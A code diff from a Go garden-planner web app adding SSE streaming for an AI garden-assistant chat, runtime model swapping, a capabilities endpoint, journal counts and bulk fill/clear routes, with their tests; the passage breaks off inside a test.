history, err := h.svc.AgentHistory(c.Request.Context(), actor.ID, req.GardenID)
if err != nil {
writeServiceError(c, err)
return
}
stream := openEventStream(c)
send := stream.send
// A model thinking hard between tool calls sends nothing for a while, and an
// idle proxy will cut a quiet connection. Deferred so a panic in the run
// can't leak the ticker goroutine; stopping it twice is harmless.
stopBeat := stream.keepAlive(keepAliveInterval)
defer stopBeat()
turn, err := runner.Run(c.Request.Context(), actor.ID, req.GardenID, req.Message,
replayHistory(history),
func(s mdagent.Step) {
send(chatEvent{Step: &stepEvent{Index: s.Index, Tools: toolNames(s)}})
})
stopBeat()
if err != nil {
// The stream is already open, so an error is an event rather than a
// status code — the client has committed to reading a stream by now.
send(chatEvent{Error: chatErrorMessage(err)})
return
}
// The turn itself succeeded — the garden really did change — so Done goes out
// regardless. But if the transcript couldn't be saved, say so: a clean "done"
// followed by a conversation that has forgotten the exchange after a reload is
// exactly the kind of quiet inconsistency that makes a tool feel unreliable.
//
// Detached from the request context, because the commonest reason this fails
// is the client having gone away — and the exchange is worth keeping either
// way, since the change set it produced certainly is.
if _, err := h.svc.RecordAgentExchange(context.WithoutCancel(c.Request.Context()), actor.ID, req.GardenID,
req.Message, turn.Reply, turn.ChangeSetID); err != nil {
slog.Error("api: record agent exchange", "error", err, "garden", req.GardenID)
send(chatEvent{Done: turn, Warning: "I couldn't save this exchange, so it won't be here after a reload. Anything I changed is still on the canvas, and in History."})
return
}
send(chatEvent{Done: turn})
}
// sseWriteTimeout bounds ONE write to the stream, not the stream itself.
//
// It is refreshed per frame, which is the only shape that satisfies both ends:
// the server's absolute WriteTimeout would cut a long turn (#78), while removing
// the deadline entirely would let a client that stops reading block a write
// forever once the socket buffer fills — pinning the run goroutine and this
// stream's mutex with it, and taking the keep-alive down too since it needs the
// same lock. Generous, because it is a backstop against a stuck peer and not a
// pacing mechanism.
//
// A var, not a const, ONLY so the test can shrink it to prove the deadline is
// refreshed per frame rather than set once — a set-once 30s deadline would pass
// a test whose whole run is under a second. Production never reassigns it.
var sseWriteTimeout = 30 * time.Second
// eventStream serializes writes to one SSE response.
//
// The mutex is load-bearing, not decoration: step events are sent from the
// agent's run goroutine while the keep-alive ticker writes from its own, and two
// goroutines writing a ResponseWriter concurrently is a data race that corrupts
// frames long before it crashes anything.
type eventStream struct {
c *gin.Context
rc *http.ResponseController
mu sync.Mutex
}
// openEventStream puts the response into SSE mode.
//
// Headers go out before the first write and the stream is flushed immediately,
// so a proxy holding the response until it looks complete can't reintroduce
// exactly the silence streaming exists to remove.
//
// Taking the write deadline off the server's absolute WriteTimeout and onto a
// per-write one is what makes a turn longer than 30s possible at all (#78).
// WriteTimeout is an ABSOLUTE deadline from when the request header was read,
// not an idle timeout, so a streaming response is cut mid-turn however recently
// it wrote. Without this the 4-minute runTimeout is unreachable and the
// keep-alive below tops out at one tick — pacing a connection that is destroyed
// underneath it.
//
// That failure is INVISIBLE from in here: writes past the deadline return
// err == nil and their bytes are dropped, so there is nothing to detect on the
// write path. Only the client sees it, as a truncated stream it reports as a
// dropped connection. Hence a deadline set up front and refreshed per frame,
// rather than anything checked after the fact.
func openEventStream(c *gin.Context) *eventStream {
c.Header("Content-Type", "text/event-stream")
c.Header("Cache-Control", "no-cache")
c.Header("X-Accel-Buffering", "no")
s := &eventStream{c: c, rc: http.NewResponseController(c.Writer)}
// Probe once here rather than reporting per frame: a writer that can't take
// deadlines will fail identically on every write, and the operator needs to
// hear it once. If this fails the stream still works — it is just back to
// being cut at WriteTimeout, which is worth saying out loud.
if err := s.rc.SetWriteDeadline(time.Now().Add(sseWriteTimeout)); err != nil {
slog.Error("api: SSE write deadlines unavailable; long turns will be truncated at the server WriteTimeout", "error", err)
}
c.Writer.Flush()
return s
}
func (s *eventStream) send(ev chatEvent) {
b, err := json.Marshal(ev)
if err != nil {
slog.Error("api: encode chat event", "error", err)
return
}
s.write(fmt.Sprintf("data: %s\n\n", b))
}
func (s *eventStream) write(frame string) {
s.mu.Lock()
defer s.mu.Unlock()
// Refresh for THIS write, so the stream as a whole is unbounded but no single
// write is. Error deliberately unchecked: openEventStream already reported
// whether deadlines work at all, and this call can only fail the same way, so
// checking here would log once per frame to say the same thing.
_ = s.rc.SetWriteDeadline(time.Now().Add(sseWriteTimeout))
_, _ = io.WriteString(s.c.Writer, frame)
s.c.Writer.Flush()
}
// keepAlive writes an SSE comment frame on an interval until the returned
// function is called, so a long silence while the model thinks doesn't look like
// a dead connection to whatever sits in between. SSE ignores comment frames, so
// this costs the client nothing.
func (s *eventStream) keepAlive(every time.Duration) func() {
done := make(chan struct{})
stopped := make(chan struct{})
go func() {
defer close(stopped)
t := time.NewTicker(every)
defer t.Stop()
for {
select {
case <-done:
return
case <-s.c.Request.Context().Done():
return
case <-t.C:
s.write(": keep-alive\n\n")
}
}
}()
// Idempotent: the handler stops it explicitly when the run returns and again
// via defer, so a panic can't leak the goroutine.
var once sync.Once
return func() {
once.Do(func() { close(done) })
<-stopped
}
}
// getAgentHistory returns the actor's thread for a garden.
func (h *handlers) getAgentHistory(c *gin.Context) {
gardenID, ok := parseIDParam(c, "id")
if !ok {
return
}
msgs, err := h.svc.AgentHistory(c.Request.Context(), mustActor(c).ID, gardenID)
if err != nil {
writeServiceError(c, err)
return
}
c.JSON(http.StatusOK, gin.H{"messages": msgs})
}
// deleteAgentHistory is the "start over" escape hatch.
func (h *handlers) deleteAgentHistory(c *gin.Context) {
gardenID, ok := parseIDParam(c, "id")
if !ok {
return
}
if err := h.svc.ClearAgentHistory(c.Request.Context(), mustActor(c).ID, gardenID); err != nil {
writeServiceError(c, err)
return
}
c.Status(http.StatusNoContent)
}
// replayHistory turns stored text into model messages.
//
// Only the text is replayed — no stored tool calls. Continuity needs what was
// said and what came back; replaying a tool call would be replaying a decision
// made against a garden that has since moved on.
func replayHistory(msgs []domain.AgentMessage) []llm.Message {
out := make([]llm.Message, 0, len(msgs))
for _, m := range msgs {
if m.Role == domain.AgentRoleUser {
out = append(out, llm.UserText(m.Body))
} else {
out = append(out, llm.AssistantText(m.Body))
}
}
return out
}
func toolNames(s mdagent.Step) []string {
names := make([]string, 0, len(s.Results))
for _, r := range s.Results {
names = append(names, r.Name)
}
return names
}
// chatErrorMessage turns a failure into something worth reading. Permission
// errors in particular get named: "the agent broke" and "you can only view this
// garden" want very different reactions.
func chatErrorMessage(err error) string {
switch {
case errors.Is(err, domain.ErrForbidden):
return "You can only view this garden, so I can't change anything in it."
case errors.Is(err, domain.ErrNotFound):
return "I can't find that garden."
case errors.Is(err, domain.ErrInvalidInput):
return "I didn't get a message to work from."
case errors.Is(err, io.EOF), errors.Is(err, context.Canceled):
return "The connection dropped partway through. Anything I'd already changed is on the canvas, and in History."
case errors.Is(err, context.DeadlineExceeded):
return "That took too long and I stopped. Anything I'd already changed is on the canvas, and in History."
default:
slog.Error("api: agent run failed", "error", err)
return "Something went wrong talking to the model. Anything I'd already changed is on the canvas, and in History."
}
}
+89
View File
@@ -0,0 +1,89 @@
package api
import (
"context"
"log/slog"
"sync"
"sync/atomic"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/agent"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/service"
)
// agentHolder owns the live assistant Runner and lets an admin swap it at
// runtime when the model settings change (#79).
//
// The Runner used to be a plain handlers field set once at boot, with the chat
// routes registered only when it existed. That made the assistant permanently
// whatever the environment said at startup. Now the routes are always
// registered and the Runner lives behind an atomic pointer, so a settings change
// can turn the assistant on, off, or onto a different model without a restart —
// and without a data race against in-flight requests reading the pointer.
//
// A nil pointer means "no assistant right now"; handlers nil-check get() rather
// than assuming a Runner is present.
type agentHolder struct {
svc *service.Service
ptr atomic.Pointer[agent.Runner]
// rebuildMu serializes rebuilds so two concurrent settings saves can't
// interleave into a torn "resolve A, resolve B, store A, store B" swap. The
// read path (get) stays lock-free on the atomic pointer.
rebuildMu sync.Mutex
}
// newAgentHolder builds the holder and resolves the initial Runner from whatever
// the settings + environment currently say. A resolution failure is logged and
// left as "no assistant", never fatal: a garden planner must still boot.
func newAgentHolder(ctx context.Context, svc *service.Service) *agentHolder {
h := &agentHolder{svc: svc}
h.rebuild(ctx)
return h
}
// get returns the current Runner, or nil if the assistant is off.
func (h *agentHolder) get() *agent.Runner { return h.ptr.Load() }
// rebuild resolves the effective agent configuration and swaps the Runner to
// match: a new one when the assistant should be on, nil when it shouldn't. It is
// safe to call at boot and from a settings save; concurrent calls serialize.
//
// It logs what it did rather than returning an error, because every caller wants
// the same thing — best-effort apply, keep serving either way — and a settings
// save must not fail just because the new model won't resolve. The save already
// validated the spec; a rebuild failure here means the environment changed under
// it, and "assistant off, with a reason in the log" is the right outcome.
func (h *agentHolder) rebuild(ctx context.Context) {
h.rebuildMu.Lock()
defer h.rebuildMu.Unlock()
eff, err := h.svc.EffectiveAgent(ctx)
if err != nil {
// EffectiveAgent errors only if the settings row can't be read — a DB fault,
// and a very transient one when it happens right after a settings write. We
// keep the current Runner rather than tear down a working assistant on a
// blip: the state is already persisted, so the next rebuild (any later save,
// or a restart) reconciles it. Loud, because a persistent failure here means
// the live assistant no longer matches stored settings.
slog.Error("api: could not resolve agent settings; leaving the assistant as-is", "error", err)
return
}
if !eff.Ready() {
if h.ptr.Swap(nil) != nil {
slog.Info("api: garden assistant turned off",
"enabled", eff.Enabled, "hasKey", eff.APIKey != "", "hasModel", eff.Model != "")
}
return
}
runner, err := agent.NewRunner(h.svc, eff.APIKey, eff.Model)
if err != nil {
// Configured but unusable. Turn the assistant off rather than leaving a
// stale Runner on the old model — an admin who just pointed it at a broken
// spec should see it stop, not silently keep answering on the previous one.
slog.Error("api: garden assistant disabled (model won't resolve)", "error", err, "model", eff.Model)
h.ptr.Store(nil)
return
}
h.ptr.Store(runner)
slog.Info("api: garden assistant ready", "model", eff.Model)
}
+49
View File
@@ -0,0 +1,49 @@
package api
import (
"net/http"
"strconv"
"testing"
)
// TestAgentDisabledWithoutAKey — an instance with no API key must start, serve
// the app, and not offer the assistant.
//
// The contract CHANGED with #79: the chat route is now always registered (so a
// settings change can turn the assistant on without a restart), so "off" is a
// runtime 503 rather than a missing route. capabilities reports agent:false, and
// the frontend keys the chat tab off that — so a user never reaches the 503.
func TestAgentDisabledWithoutAKey(t *testing.T) {
r := authEngine(t, localCfg()) // localCfg has no agent configuration
cookie := registerAndCookie(t, r, "[email protected]")
gid := createGardenAPI(t, r, cookie, "G")
// Chat is refused, plainly, because there is no Runner to run.
w := doJSON(t, r, http.MethodPost, "/api/v1/agent/chat",
map[string]any{"gardenId": gid, "message": "plant garlic"}, cookie)
if w.Code != http.StatusServiceUnavailable {
t.Errorf("chat without a key: status %d, want 503", w.Code)
}
// Capabilities advertises the assistant as unavailable, which is what the UI
// actually consults.
w = doJSON(t, r, http.MethodGet, "/api/v1/capabilities", nil, cookie)
if w.Code != http.StatusOK {
t.Fatalf("capabilities: status %d", w.Code)
}
if agent, _ := decodeMap(t, w.Body.Bytes())["agent"].(bool); agent {
t.Error("capabilities reported agent:true with no key")
}
// History is just stored data behind the ordinary garden-role check, so it
// reads fine (empty) whether or not a Runner exists — it isn't gated on one.
path := "/api/v1/gardens/" + strconv.FormatInt(gid, 10) + "/agent/history"
if w := doJSON(t, r, http.MethodGet, path, nil, cookie); w.Code != http.StatusOK {
t.Errorf("history without a key: status %d, want 200 (it's data, not the model)", w.Code)
}
// And the rest of the app is entirely unaffected.
if w := doJSON(t, r, http.MethodGet, fullPath(gid), nil, cookie); w.Code != http.StatusOK {
t.Errorf("editor load: status %d, want 200 — an unconfigured agent must not break the app", w.Code)
}
}
+69
View File
@@ -6,6 +6,7 @@
package api
import (
"context"
"log/slog"
"net/http"
@@ -22,6 +23,12 @@ type handlers struct {
cfg *config.Config
svc *service.Service
oidc *oidcClient // nil unless OIDC is configured (see config.OIDCReady)
// agent holds the live Runner behind an atomic pointer. Unlike oidc it is
// never nil — the holder is always present and its Runner may be nil when the
// assistant is off. The chat routes are registered unconditionally and
// nil-check agent.get(), so a settings change can turn the assistant on or off
// at runtime (#79) rather than only at boot.
agent *agentHolder
}
// New builds the gin engine with the standard middleware stack and registers the
@@ -49,6 +56,10 @@ func New(cfg *config.Config, svc *service.Service) *gin.Engine {
// is set; see csrfGuard).
v1.Use(h.csrfGuard())
v1.GET("/healthz", healthz)
// What this instance can actually do, so the UI offers only what works.
// Registered after the agent below, because it reports whether the runner
// actually built — not merely whether it was configured to.
v1.GET("/capabilities", h.capabilities)
// Auth endpoints are exempt from requireAuth (you can't be logged in yet);
// /me is the one that needs a session. Feature routers in later issues attach
@@ -90,6 +101,7 @@ func New(cfg *config.Config, svc *service.Service) *gin.Engine {
// plop, so it inherits the ordinary garden-role check.
gardens.GET("/:id/journal", h.listJournal)
gardens.POST("/:id/journal", h.createJournalEntry)
gardens.GET("/:id/journal/counts", h.getJournalCounts)
// Sharing (owner-managed; a recipient may remove their own share).
gardens.GET("/:id/shares", h.listShares)
@@ -110,6 +122,11 @@ func New(cfg *config.Config, svc *service.Service) *gin.Engine {
objects.PATCH("/:id", h.updateObject)
objects.DELETE("/:id", h.deleteObject)
objects.POST("/:id/plantings", h.createPlanting) // place a plop in this object
// Bulk ops. These wrap the same service methods the agent tools call, so an
// instance with no model configured still gets the most valuable operation in
// the app — and so "clear bed" is ONE change set rather than one per plop.
objects.POST("/:id/fill", h.fillObject)
objects.POST("/:id/clear", h.clearObject)
// Plantings ("plops") are addressed by their own id; the service resolves the
// owning object/garden for the permission check.
@@ -117,6 +134,31 @@ func New(cfg *config.Config, svc *service.Service) *gin.Engine {
plantings.PATCH("/:id", h.updatePlanting)
plantings.DELETE("/:id", h.deletePlanting)
// The garden assistant. Its routes are registered UNCONDITIONALLY and the live
// Runner sits behind an atomic pointer in the holder, so a settings change can
// turn the assistant on or off at runtime (#79). Each handler nil-checks
// agent.get(); a chat request while the assistant is off gets a clean 503
// (AGENT_DISABLED), not a panic and not a missing route.
//
// The holder resolves its initial Runner from settings + environment at
// construction. If the key never reaches the container, the assistant is off
// and the reason is logged below — the same operability need #72 added.
h.agent = newAgentHolder(context.Background(), svc)
if cfg.Agent.OllamaCloudAPIKey == "" {
slog.Info("api: garden assistant has no API key",
"hint", "set OLLAMA_CLOUD_API_KEY in the container's environment (not just the stack's); the model can be chosen in Settings")
}
agentGroup := v1.Group("/agent", h.requireAuth())
agentGroup.POST("/chat", h.agentChat)
gardens.GET("/:id/agent/history", h.getAgentHistory)
gardens.DELETE("/:id/agent/history", h.deleteAgentHistory)
// Instance settings: admin-only, and the first thing to enforce is_admin.
// requireAdmin runs after requireAuth (it reads the actor requireAuth stored).
settings := v1.Group("/settings", h.requireAuth(), h.requireAdmin())
settings.GET("", h.getSettings)
settings.PATCH("", h.updateSettings)
// Undo. A change set is addressed by its own id; the service resolves the
// owning garden for the permission check, same as objects and plantings.
changeSets := v1.Group("/change-sets", h.requireAuth())
@@ -143,6 +185,10 @@ func New(cfg *config.Config, svc *service.Service) *gin.Engine {
seedLots.GET("/:id", h.getSeedLot)
seedLots.PATCH("/:id", h.updateSeedLot)
seedLots.DELETE("/:id", h.deleteSeedLot)
// Seed-packet capture (#81): scan a photo into a proposal, then create the
// plant + lot from the confirmed proposal. scan reads only.
seedLots.POST("/scan", h.scanSeedPacket)
seedLots.POST("/from-packet", h.createFromPacket)
// Public, unauthenticated read of a garden by its share token. Deliberately
// NOT behind requireAuth: the token is the capability, so a logged-out visitor
@@ -154,6 +200,29 @@ func New(cfg *config.Config, svc *service.Service) *gin.Engine {
return r
}
// capabilities reports what this instance can actually do, so the UI offers only
// what works.
//
// It reports whether the assistant is live RIGHT NOW, not merely configured:
// the chat routes always exist, but a request while the Runner is nil is refused,
// so offering the tab must track the live Runner. Reading agent.get() (an atomic
// load) means this reflects a settings-driven swap on the very next poll.
func (h *handlers) capabilities(c *gin.Context) {
// vision advertises whether seed-packet scanning (#81) can be offered — a
// configured, resolvable vision model + a key. Read per-request so a settings
// change is reflected on the next poll, same as agent.
vision := false
if vis, err := h.svc.EffectiveVision(c.Request.Context()); err != nil {
// A read fault here means the DB is unhappy; report vision off (safe: the
// UI just hides a button) but don't do it silently — the same best-effort
// settings reads elsewhere log rather than swallow.
slog.Error("api: could not resolve vision settings for capabilities", "error", err)
} else {
vision = vis.Ready()
}
c.JSON(http.StatusOK, gin.H{"agent": h.agent.get() != nil, "vision": vision})
}
// healthz is a liveness probe: always returns {"ok": true} when the server is up.
func healthz(c *gin.Context) {
c.JSON(http.StatusOK, gin.H{"ok": true})
+21
View File
@@ -71,6 +71,27 @@ func (h *handlers) listJournal(c *gin.Context) {
c.JSON(http.StatusOK, journalResponse{Entries: entries, HasMore: hasMore})
}
// getJournalCounts powers the "there are notes about this bed" indicator, which
// has to work while the journal panel is closed — exactly when nothing else has
// loaded the entries. Key "0" is the garden itself.
func (h *handlers) getJournalCounts(c *gin.Context) {
gardenID, ok := parseIDParam(c, "id")
if !ok {
return
}
counts, err := h.svc.JournalCounts(c.Request.Context(), mustActor(c).ID, gardenID)
if err != nil {
writeServiceError(c, err)
return
}
// JSON object keys are strings; the client parses them back to ids.
out := make(map[string]int, len(counts))
for id, n := range counts {
out[strconv.FormatInt(id, 10)] = n
}
c.JSON(http.StatusOK, gin.H{"counts": out})
}
func (h *handlers) createJournalEntry(c *gin.Context) {
gardenID, ok := parseIDParam(c, "id")
if !ok {
+43
View File
@@ -155,3 +155,46 @@ func TestJournalRequiresAccessAPI(t *testing.T) {
t.Errorf("stranger delete: status %d, want 404", w.Code)
}
}
// TestJournalCountsAPI — the indicator that makes the log discoverable has to
// work while the journal panel is closed, so it's its own endpoint.
func TestJournalCountsAPI(t *testing.T) {
r := authEngine(t, localCfg())
cookie := registerAndCookie(t, r, "[email protected]")
gid := createGardenAPI(t, r, cookie, "G")
w := doJSON(t, r, http.MethodPost, objectsPath(gid), map[string]any{
"kind": "bed", "name": "North Bed", "xCm": 100, "yCm": 100, "widthCm": 100, "heightCm": 100,
}, cookie)
objectID := int64(decodeMap(t, w.Body.Bytes())["id"].(float64))
counts := func() map[string]any {
t.Helper()
w := doJSON(t, r, http.MethodGet, journalPath(gid)+"/counts", nil, cookie)
if w.Code != http.StatusOK {
t.Fatalf("counts: status %d, body %s", w.Code, w.Body.String())
}
c, _ := decodeMap(t, w.Body.Bytes())["counts"].(map[string]any)
return c
}
if len(counts()) != 0 {
t.Errorf("a garden with no entries should report no counts")
}
doJSON(t, r, http.MethodPost, journalPath(gid), map[string]any{"body": "garden note"}, cookie)
doJSON(t, r, http.MethodPost, journalPath(gid), map[string]any{"objectId": objectID, "body": "bed note"}, cookie)
doJSON(t, r, http.MethodPost, journalPath(gid), map[string]any{"objectId": objectID, "body": "another"}, cookie)
c := counts()
// Key "0" is the garden itself; anything else is an object id.
if c["0"] != float64(1) {
t.Errorf("garden-level count = %v, want 1", c["0"])
}
if c[strconv.FormatInt(objectID, 10)] != float64(2) {
t.Errorf("bed count = %v, want 2", c[strconv.FormatInt(objectID, 10)])
}
if w := doJSON(t, r, http.MethodGet, journalPath(gid)+"/counts", nil, nil); w.Code != http.StatusUnauthorized {
t.Errorf("anonymous counts: status %d, want 401", w.Code)
}
}
+120
View File
@@ -0,0 +1,120 @@
package api
import (
"net/http"
"github.com/gin-gonic/gin"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/domain"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/service"
)
// Bulk operations on a plantable object (#82): fill a region with one plant, and
// clear everything out of it.
//
// These were reachable only through the agent toolbox until now, which meant the
// most valuable bulk operation in a garden planner — and the one carrying the
// most carefully reasoned geometry in the codebase — did not exist at all on an
// instance with no model configured. They are thin adapters over the same
// service methods `internal/agent/tools.go` calls, so the permission checks and
// the one-change-set-per-operation guarantee come along unchanged.
// fillRect is an explicit rectangle in the object's local frame, the alternative
// to a compass name. A named type (not an inline anonymous struct) to match the
// rest of internal/api and so it can carry its own validity check.
type fillRect struct {
MinX float64 `json:"minXCm"`
MinY float64 `json:"minYCm"`
MaxX float64 `json:"maxXCm"`
MaxY float64 `json:"maxYCm"`
}
// degenerate reports whether the rect encloses no area. Such a rect (including
// the all-zeros an empty `"rect": {}` decodes to) would otherwise slip through
// and plant a single plop at the object's centre — a surprising result for what
// is really malformed input.
func (r fillRect) degenerate() bool {
return r.MaxX <= r.MinX || r.MaxY <= r.MinY
}
// objectFillRequest is the body for POST /objects/:id/fill.
//
// A region is given EITHER by compass name ("ne", "south half", "all") or as an
// explicit rect in the object's local frame. The named form is what a person
// means and what the agent uses; the rect is for a future drag-a-box affordance.
// Exactly one must be supplied — accepting both and silently preferring one
// would make a client bug look like a geometry bug.
type objectFillRequest struct {
PlantID int64 `json:"plantId" binding:"required"`
Region string `json:"region"`
Rect *fillRect `json:"rect"`
// SpacingOverrideCM plants tighter or looser than the plant's mature spacing
// without editing the catalog entry.
SpacingOverrideCM *float64 `json:"spacingOverrideCm"`
// Layout is "clump" (default; fat clumps for a quick sketch) or "grid"
// (individual plants in rows at true spacing). Empty = clump. An unknown value
// is refused by the service (#77).
Layout string `json:"layout"`
}
func (h *handlers) fillObject(c *gin.Context) {
id, ok := parseIDParam(c, "id")
if !ok {
return
}
var req objectFillRequest
if err := c.ShouldBindJSON(&req); err != nil {
writeAPIError(c, http.StatusBadRequest, "INVALID_INPUT", "a plantId and a region are required")
return
}
named, hasRect := req.Region != "", req.Rect != nil
if named == hasRect {
writeAPIError(c, http.StatusBadRequest, "INVALID_INPUT",
`supply exactly one of "region" (e.g. "all", "ne", "south half") or "rect"`)
return
}
actor := mustActor(c).ID
var (
created []domain.Planting
err error
)
if rect := req.Rect; rect != nil {
// Reject a zero-area rect here rather than let it plant one stray plop.
// (Binding the pointer to `rect` also keeps the deref visibly guarded,
// instead of reading req.Rect.MinX under an invariant from a line above.)
if rect.degenerate() {
writeAPIError(c, http.StatusBadRequest, "INVALID_INPUT", "rect must enclose a positive area")
return
}
region := service.Region{MinX: rect.MinX, MinY: rect.MinY, MaxX: rect.MaxX, MaxY: rect.MaxY}
created, err = h.svc.FillRegion(c.Request.Context(), actor, id, region, req.PlantID, req.SpacingOverrideCM, service.FillLayout(req.Layout))
} else {
created, err = h.svc.FillNamedRegion(c.Request.Context(), actor, id, req.Region, req.PlantID, req.SpacingOverrideCM, service.FillLayout(req.Layout))
}
if err != nil {
writeServiceError(c, err)
return
}
// 200, not 201: a fill can legitimately create nothing (the region is already
// planted), and there is no single resource to point a Location at.
c.JSON(http.StatusOK, gin.H{"plantings": created, "created": len(created)})
}
// clearObject soft-removes every active plop in an object.
//
// Distinct from deleting the object, and — unlike the client-side loop this
// replaces — it lands as ONE change set, so undoing a cleared bed is one click
// rather than one per plop.
func (h *handlers) clearObject(c *gin.Context) {
id, ok := parseIDParam(c, "id")
if !ok {
return
}
n, err := h.svc.ClearObject(c.Request.Context(), mustActor(c).ID, id)
if err != nil {
writeServiceError(c, err)
return
}
c.JSON(http.StatusOK, gin.H{"cleared": n})
}
+264
View File
@@ -0,0 +1,264 @@
package api
import (
"net/http"
"testing"
"github.com/gin-gonic/gin"
)
func fillPath(id int64) string { return objectPath(id) + "/fill" }
func clearPath(id int64) string { return objectPath(id) + "/clear" }
// makeFillPlant creates a custom plant and returns its id. (A near-identical
// createPlantAPI landed alongside the seed-lot tests; consolidating the two into
// one shared helper is a fine follow-up, kept separate here only to avoid a
// merge collision on the shared symbol.)
func makeFillPlant(t *testing.T, r *gin.Engine, cookie *http.Cookie, name string, spacing float64) int64 {
t.Helper()
w := doJSON(t, r, http.MethodPost, "/api/v1/plants", map[string]any{
"name": name, "category": "vegetable", "spacingCm": spacing, "color": "#4a7c3f", "icon": "🌱",
}, cookie)
if w.Code != http.StatusCreated {
t.Fatalf("create plant %q: status %d, body %s", name, w.Code, w.Body.String())
}
return int64(decodeMap(t, w.Body.Bytes())["id"].(float64))
}
// seedFillableBed makes a garden with one plantable bed and a custom plant,
// returning (gardenID, objectID, plantID).
func seedFillableBed(t *testing.T, r *gin.Engine, cookie *http.Cookie, w, h, spacing float64) (int64, int64, int64) {
t.Helper()
gid := createGardenAPI(t, r, cookie, "G")
rec := doJSON(t, r, http.MethodPost, objectsPath(gid), map[string]any{
"kind": "bed", "widthCm": w, "heightCm": h, "plantable": true,
}, cookie)
if rec.Code != http.StatusCreated {
t.Fatalf("create bed: status %d, body %s", rec.Code, rec.Body.String())
}
objID := int64(decodeMap(t, rec.Body.Bytes())["id"].(float64))
plantID := makeFillPlant(t, r, cookie, "Fillable", spacing)
return gid, objID, plantID
}
// countChangeSets reads the history page and reports how many change sets exist.
func countChangeSets(t *testing.T, r *gin.Engine, cookie *http.Cookie, gardenID int64) int {
t.Helper()
w := doJSON(t, r, http.MethodGet, historyPath(gardenID), nil, cookie)
if w.Code != http.StatusOK {
t.Fatalf("history: status %d, body %s", w.Code, w.Body.String())
}
sets, _ := decodeMap(t, w.Body.Bytes())["changeSets"].([]any)
return len(sets)
}
// TestFillAndClearAPI covers the two routes end to end through the router.
//
// These exist because both operations were previously reachable ONLY through the
// agent toolbox, so on an instance with no model configured the most valuable
// bulk operation in the app did not exist at all.
func TestFillAndClearAPI(t *testing.T) {
r := authEngine(t, localCfg())
cookie := registerAndCookie(t, r, "[email protected]")
_, objID, plantID := seedFillableBed(t, r, cookie, 200, 200, 20)
// Fill by compass name.
w := doJSON(t, r, http.MethodPost, fillPath(objID), map[string]any{
"plantId": plantID, "region": "all",
}, cookie)
if w.Code != http.StatusOK {
t.Fatalf("fill: status %d, body %s", w.Code, w.Body.String())
}
body := decodeMap(t, w.Body.Bytes())
created := int(body["created"].(float64))
if created == 0 {
t.Fatalf("fill created nothing: %s", w.Body.String())
}
if plops, _ := body["plantings"].([]any); len(plops) != created {
t.Errorf("created=%d but returned %d plantings", created, len(plops))
}
// Clear it: one call, and it reports what it removed.
w = doJSON(t, r, http.MethodPost, clearPath(objID), nil, cookie)
if w.Code != http.StatusOK {
t.Fatalf("clear: status %d, body %s", w.Code, w.Body.String())
}
if n := int(decodeMap(t, w.Body.Bytes())["cleared"].(float64)); n != created {
t.Errorf("cleared %d, want %d (everything the fill made)", n, created)
}
// Clearing an already-empty bed is a no-op, not an error.
w = doJSON(t, r, http.MethodPost, clearPath(objID), nil, cookie)
if w.Code != http.StatusOK {
t.Fatalf("second clear: status %d", w.Code)
}
if n := int(decodeMap(t, w.Body.Bytes())["cleared"].(float64)); n != 0 {
t.Errorf("second clear removed %d, want 0", n)
}
}
// TestFillLayoutAPI covers the layout selector (#77): grid packs denser than the
// clump default, and an unknown layout is a 400 rather than a silent clump fill.
func TestFillLayoutAPI(t *testing.T) {
r := authEngine(t, localCfg())
cookie := registerAndCookie(t, r, "[email protected]")
_, objID, plantID := seedFillableBed(t, r, cookie, 200, 200, 20)
// Clump (default) for the baseline count.
w := doJSON(t, r, http.MethodPost, fillPath(objID), map[string]any{
"plantId": plantID, "region": "all",
}, cookie)
if w.Code != http.StatusOK {
t.Fatalf("clump fill: status %d, body %s", w.Code, w.Body.String())
}
clumpN := int(decodeMap(t, w.Body.Bytes())["created"].(float64))
if w := doJSON(t, r, http.MethodPost, clearPath(objID), nil, cookie); w.Code != http.StatusOK {
t.Fatalf("clear between fills: %d", w.Code)
}
// Grid packs individual plants at true spacing — many more, small plops.
w = doJSON(t, r, http.MethodPost, fillPath(objID), map[string]any{
"plantId": plantID, "region": "all", "layout": "grid",
}, cookie)
if w.Code != http.StatusOK {
t.Fatalf("grid fill: status %d, body %s", w.Code, w.Body.String())
}
if gridN := int(decodeMap(t, w.Body.Bytes())["created"].(float64)); gridN <= clumpN {
t.Errorf("grid fill created %d, want more than the clump fill's %d", gridN, clumpN)
}
// An unknown layout is a 400, not a silent clump fill.
if w := doJSON(t, r, http.MethodPost, fillPath(objID), map[string]any{
"plantId": plantID, "region": "all", "layout": "spiral",
}, cookie); w.Code != http.StatusBadRequest {
t.Errorf("unknown layout = %d, want 400", w.Code)
}
}
// TestFillRegionSelectionAPI: exactly one of region/rect, and a rect fills only
// its own corner of the bed.
func TestFillRegionSelectionAPI(t *testing.T) {
r := authEngine(t, localCfg())
cookie := registerAndCookie(t, r, "[email protected]")
_, objID, plantID := seedFillableBed(t, r, cookie, 400, 400, 20)
// Neither → 400. Both → 400. Accepting both and silently preferring one
// would make a client bug look like a geometry bug.
if w := doJSON(t, r, http.MethodPost, fillPath(objID), map[string]any{"plantId": plantID}, cookie); w.Code != http.StatusBadRequest {
t.Errorf("no region = %d, want 400", w.Code)
}
both := map[string]any{
"plantId": plantID, "region": "all",
"rect": map[string]any{"minXCm": -50, "minYCm": -50, "maxXCm": 50, "maxYCm": 50},
}
if w := doJSON(t, r, http.MethodPost, fillPath(objID), both, cookie); w.Code != http.StatusBadRequest {
t.Errorf("both region and rect = %d, want 400", w.Code)
}
// An unknown compass name is rejected rather than silently filling nothing.
if w := doJSON(t, r, http.MethodPost, fillPath(objID), map[string]any{
"plantId": plantID, "region": "middle-ish",
}, cookie); w.Code != http.StatusBadRequest {
t.Errorf("bad region name = %d, want 400", w.Code)
}
// A zero-area rect is malformed input, not "plant one at the centre". An empty
// `"rect": {}` decodes to all-zeros and must be caught the same way.
for _, rect := range []map[string]any{
{}, // {} → 0,0,0,0
{"minXCm": 10, "minYCm": 10, "maxXCm": 10, "maxYCm": 50}, // zero width
{"minXCm": 10, "minYCm": 50, "maxXCm": 50, "maxYCm": 50}, // zero height
{"minXCm": 50, "minYCm": 50, "maxXCm": 10, "maxYCm": 10}, // inverted
} {
if w := doJSON(t, r, http.MethodPost, fillPath(objID),
map[string]any{"plantId": plantID, "rect": rect}, cookie); w.Code != http.StatusBadRequest {
